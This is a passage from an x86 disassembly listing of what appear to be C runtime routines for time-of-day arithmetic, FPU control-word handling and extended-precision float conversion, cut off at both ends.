CODE XREF: sub_4295F0+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_4296E5 mov eax, [ebp+arg_C] mov ecx, dword_444590[eax*4] mov [ebp+var_14], ecx jmp short loc_4296F2 ; --------------------------------------------------------------------------- loc_4296E5: ; CODE XREF: sub_4295F0+E4j mov edx, [ebp+arg_C] mov eax, dword_4445C4[edx*4] mov [ebp+var_14], eax loc_4296F2: ; CODE XREF: sub_4295F0+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_429701: ; CODE XREF: sub_4295F0:loc_4296CAj cmp [ebp+arg_0], 1 jnz short loc_429741 mov eax, [ebp+var_8] mov dword_44457C, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_444580, ecx mov edx, [ebp+arg_8] mov dword_444578, edx jmp loc_4297E4 ; --------------------------------------------------------------------------- loc_429741: ; CODE XREF: sub_4295F0+115j mov eax, [ebp+var_8] mov dword_44458C, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_444590, ecx mov edx, dword_4444E8 imul edx, 3E8h mov eax, dword_444590 add eax, edx mov dword_444590, eax cmp dword_444590, 0 jge short loc_4297B1 mov ecx, dword_444590 add ecx, 5265C00h mov dword_444590, ecx mov edx, dword_44458C sub edx, 1 mov dword_44458C, edx jmp short loc_4297DB ; --------------------------------------------------------------------------- loc_4297B1: ; CODE XREF: sub_4295F0+19Cj cmp dword_444590, 5265C00h jl short loc_4297DB mov eax, dword_444590 sub eax, 5265C00h mov dword_444590, eax mov ecx, dword_44458C add ecx, 1 mov dword_44458C, ecx loc_4297DB: ; CODE XREF: sub_4295F0+1BFj ; sub_4295F0+1CBj mov edx, [ebp+arg_8] mov dword_444588, edx loc_4297E4: ; CODE XREF: sub_4295F0+14Cj mov esp, ebp pop ebp retn sub_4295F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4297F0 proc near ; CODE XREF: sub_422E90+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_4297F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_429BF0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_429BF0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429840 proc near ; CODE XREF: sub_429890+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_429910 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_429A90 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429890 proc near ; CODE XREF: sub_4233E0+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_429840 add esp, 8 pop ebp retn sub_429890 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_427600 mov eax, [eax] mov [ebp-4], eax fninit call sub_4233E0 cmp dword ptr [ebp-4], 0 jz short loc_429901 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_429901 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_429901: ; CODE XREF: ___:004298CEj ; ___:004298DFj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429910 proc near ; CODE XREF: sub_429840+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_429935 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_429935: ; CODE XREF: sub_429910+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42994D mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42994D: ; CODE XREF: sub_429910+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_429966 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_429966: ; CODE XREF: sub_429910+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42997E mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42997E: ; CODE XREF: sub_429910+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_429996 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_429996: ; CODE XREF: sub_429910+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_4299B2 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_4299B2: ; CODE XREF: sub_429910+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_4299E5 cmp [ebp+var_8], 800h jz short loc_4299F8 cmp [ebp+var_8], 0 jz short loc_4299F0 cmp [ebp+var_8], 400h jz short loc_429A03 jmp short loc_429A17 ; --------------------------------------------------------------------------- loc_4299E5: ; CODE XREF: sub_429910+B9j cmp [ebp+var_8], 0C00h jz short loc_429A0E jmp short loc_429A17 ; --------------------------------------------------------------------------- loc_4299F0: ; CODE XREF: sub_429910+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_429A17 ; --------------------------------------------------------------------------- loc_4299F8: ; CODE XREF: sub_429910+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_429A17 ; --------------------------------------------------------------------------- loc_429A03: ; CODE XREF: sub_429910+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_429A17 ; --------------------------------------------------------------------------- loc_429A0E: ; CODE XREF: sub_429910+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_429A17: ; CODE XREF: sub_429910+D3j ; sub_429910+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_429A59 cmp [ebp+var_C], 200h jz short loc_429A4B cmp [ebp+var_C], 300h jz short loc_429A43 jmp short loc_429A65 ; --------------------------------------------------------------------------- loc_429A43: ; CODE XREF: sub_429910+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_429A65 ; --------------------------------------------------------------------------- loc_429A4B: ; CODE XREF: sub_429910+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_429A65 ; --------------------------------------------------------------------------- loc_429A59: ; CODE XREF: sub_429910+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_429A65: ; CODE XREF: sub_429910+131j ; sub_429910+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_429A82 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_429A82: ; CODE XREF: sub_429910+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A90 proc near ; CODE XREF: sub_429840+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_429AB1 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_429AB1: ; CODE XREF: sub_429A90+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_429AC5 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_429AC5: ; CODE XREF: sub_429A90+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_429ADA mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_429ADA: ; CODE XREF: sub_429A90+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_429AEF mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_429AEF: ; CODE XREF: sub_429A90+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_429B03 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_429B03: ; CODE XREF: sub_429A90+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_429B1B mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_429B1B: ; CODE XREF: sub_429A90+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_429B49 cmp [ebp+var_8], 200h jz short loc_429B5E cmp [ebp+var_8], 0 jz short loc_429B54 cmp [ebp+var_8], 100h jz short loc_429B6B jmp short loc_429B83 ; --------------------------------------------------------------------------- loc_429B49: ; CODE XREF: sub_429A90+9Dj cmp [ebp+var_8], 300h jz short loc_429B78 jmp short loc_429B83 ; --------------------------------------------------------------------------- loc_429B54: ; CODE XREF: sub_429A90+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_429B83 ; --------------------------------------------------------------------------- loc_429B5E: ; CODE XREF: sub_429A90+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_429B83 ; --------------------------------------------------------------------------- loc_429B6B: ; CODE XREF: sub_429A90+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_429B83 ; --------------------------------------------------------------------------- loc_429B78: ; CODE XREF: sub_429A90+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_429B83: ; CODE XREF: sub_429A90+B7j ; sub_429A90+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_429BA9 cmp [ebp+var_C], 10000h jz short loc_429BB6 cmp [ebp+var_C], 20000h jz short loc_429BC3 jmp short loc_429BCB ; --------------------------------------------------------------------------- loc_429BA9: ; CODE XREF: sub_429A90+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_429BCB ; --------------------------------------------------------------------------- loc_429BB6: ; CODE XREF: sub_429A90+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_429BCB ; --------------------------------------------------------------------------- loc_429BC3: ; CODE XREF: sub_429A90+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_429BCB: ; CODE XREF: sub_429A90+117j ; sub_429A90+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_429BE2 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_429BE2: ; CODE XREF: sub_429A90+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BF0 proc near ; CODE XREF: ___:00429810p ; ___:00429831p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_429C13 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_429C13: ; CODE XREF: sub_429BF0+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_429C2B mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_429C2B: ; CODE XREF: sub_429BF0+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_429C44 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_429C44: ; CODE XREF: sub_429BF0+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_429C5C mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_429C5C: ; CODE XREF: sub_429BF0+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_429C74 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_429C74: ; CODE XREF: sub_429BF0+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_429C90 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_429C90: ; CODE XREF: sub_429BF0+92j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429BF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429CA0 proc near ; CODE XREF: sub_429DE0+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_429CC4 dec eax or eax, 0FFFFFFE0h inc eax loc_429CC4: ; CODE XREF: sub_429CA0+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_429CEF xor eax, eax jmp short loc_429D20 ; --------------------------------------------------------------------------- loc_429CEF: ; CODE XREF: sub_429CA0+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_429D03 ; --------------------------------------------------------------------------- loc_429CFA: ; CODE XREF: sub_429CA0:loc_429D19j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_429D03: ; CODE XREF: sub_429CA0+58j cmp [ebp+var_C], 3 jge short loc_429D1B mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_429D19 xor eax, eax jmp short loc_429D20 ; --------------------------------------------------------------------------- loc_429D19: ; CODE XREF: sub_429CA0+73j jmp short loc_429CFA ; --------------------------------------------------------------------------- loc_429D1B: ; CODE XREF: sub_429CA0+67j mov eax, 1 loc_429D20: ; CODE XREF: sub_429CA0+4Dj ; sub_429CA0+77j mov esp, ebp pop ebp retn sub_429CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429D30 proc near ; CODE XREF: sub_429DE0+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_429D54 dec eax or eax, 0FFFFFFE0h inc eax loc_429D54: ; CODE XREF: sub_429D30+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_42D150 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_429DA2 ; --------------------------------------------------------------------------- loc_429D99: ; CODE XREF: sub_429D30+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_429DA2: ; CODE XREF: sub_429D30+67j cmp [ebp+var_C], 0 jl short loc_429DD1 cmp [ebp+var_10], 0 jz short loc_429DD1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_42D150 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_429D99 ; --------------------------------------------------------------------------- loc_429DD1: ; CODE XREF: sub_429D30+76j ; sub_429D30+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_429D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DE0 proc near ; CODE XREF: sub_42A070+ABp ; sub_42A070+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_429E1E dec edx or edx, 0FFFFFFE0h inc edx loc_429E1E: ; CODE XREF: sub_429DE0+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_429E6F mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_429CA0 add esp, 8 test eax, eax jnz short loc_429E6F mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_429D30 add esp, 8 mov [ebp+var_18], eax loc_429E6F: ; CODE XREF: sub_429DE0+63j ; sub_429DE0+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_429E9F ; --------------------------------------------------------------------------- loc_429E96: ; CODE XREF: sub_429DE0+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_429E9F: ; CODE XREF: sub_429DE0+B4j cmp [ebp+var_10], 3 jge short loc_429EB4 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_429E96 ; --------------------------------------------------------------------------- loc_429EB4: ; CODE XREF: sub_429DE0+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_429DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429EC0 proc near ; CODE XREF: sub_42A070+98p ; sub_42A070+10Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_429EE4 ; --------------------------------------------------------------------------- loc_429EDB: ; CODE XREF: sub_429EC0+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_429EE4: ; CODE XREF: sub_429EC0+19j cmp [ebp+var_C], 3 jge short loc_429F08 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_429EDB ; --------------------------------------------------------------------------- loc_429F08: ; CODE XREF: sub_429EC0+28j mov esp, ebp pop ebp retn sub_429EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F10 proc near ; CODE XREF: sub_42A070+7Cp ; sub_42A070+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_429F26 ; --------------------------------------------------------------------------- loc_429F1D: ; CODE XREF: sub_429F10+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_429F26: ; CODE XREF: sub_429F10+Bj cmp [ebp+var_4], 3 jge short loc_429F3B mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_429F1D ; --------------------------------------------------------------------------- loc_429F3B: ; CODE XREF: sub_429F10+1Aj mov esp, ebp pop ebp retn sub_429F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F40 proc near ; CODE XREF: sub_42A070+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_429F56 ; --------------------------------------------------------------------------- loc_429F4D: ; CODE XREF: sub_429F40:loc_429F6Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_429F56: ; CODE XREF: sub_429F40+Bj cmp [ebp+var_4], 3 jge short loc_429F6E mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_429F6C xor eax, eax jmp short loc_429F73 ; --------------------------------------------------------------------------- loc_429F6C: ; CODE XREF: sub_429F40+26j jmp short loc_429F4D ; --------------------------------------------------------------------------- loc_429F6E: ; CODE XREF: sub_429F40+1Aj mov eax, 1 loc_429F73: ; CODE XREF: sub_429F40+2Aj mov esp, ebp pop ebp retn sub_429F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F80 proc near ; CODE XREF: sub_42A070+11Fp ; sub_42A070+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_429FA5 dec eax or eax, 0FFFFFFE0h inc eax loc_429FA5: ; CODE XREF: sub_429F80+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_429FCE ; --------------------------------------------------------------------------- loc_429FC5: ; CODE XREF: sub_429F80+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_429FCE: ; CODE XREF: sub_429F80+43j cmp [ebp+var_C], 3 jge short loc_42A021 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_429FC5 ; --------------------------------------------------------------------------- loc_42A021: ; CODE XREF: sub_429F80+52j mov [ebp+var_C], 2 jmp short loc_42A033 ; --------------------------------------------------------------------------- loc_42A02A: ; CODE XREF: sub_429F80:loc_42A065j mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_42A033: ; CODE XREF: sub_429F80+A8j cmp [ebp+var_C], 0 jl short loc_42A067 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_42A058 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_42A065 ; --------------------------------------------------------------------------- loc_42A058: ; CODE XREF: sub_429F80+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_42A065: ; CODE XREF: sub_429F80+D6j jmp short loc_42A02A ; --------------------------------------------------------------------------- loc_42A067: ; CODE XREF: sub_429F80+B7j pop esi mov esp, ebp pop ebp retn sub_429F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A070 proc near ; CODE XREF: sub_42A2C0+10p ; sub_42A2E0+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_42A100 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_429F40 add esp, 4 test eax, eax jz short loc_42A0E8 mov [ebp+var_1C], 0 jmp short loc_42A0FB ; --------------------------------------------------------------------------- loc_42A0E8: ; CODE XREF: sub_42A070+6Dj lea edx, [ebp+var_18] push edx call sub_429F10 add esp, 4 mov [ebp+var_1C], 2 loc_42A0FB: ; CODE XREF: sub_42A070+76j jmp loc_42A24C ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: sub_42A070+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_429EC0 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_429DE0 add esp, 8 test eax, eax jz short loc_42A130 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42A130: ; CODE XREF: sub_42A070+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_42A160 lea eax, [ebp+var_18] push eax call sub_429F10 add esp, 4 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_42A24C ; --------------------------------------------------------------------------- loc_42A160: ; CODE XREF: sub_42A070+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_42A1D0 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax call sub_429EC0 add esp, 8 mov ecx, [ebp+var_34] push ecx lea edx, [ebp+var_18] push edx call sub_429F80 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea 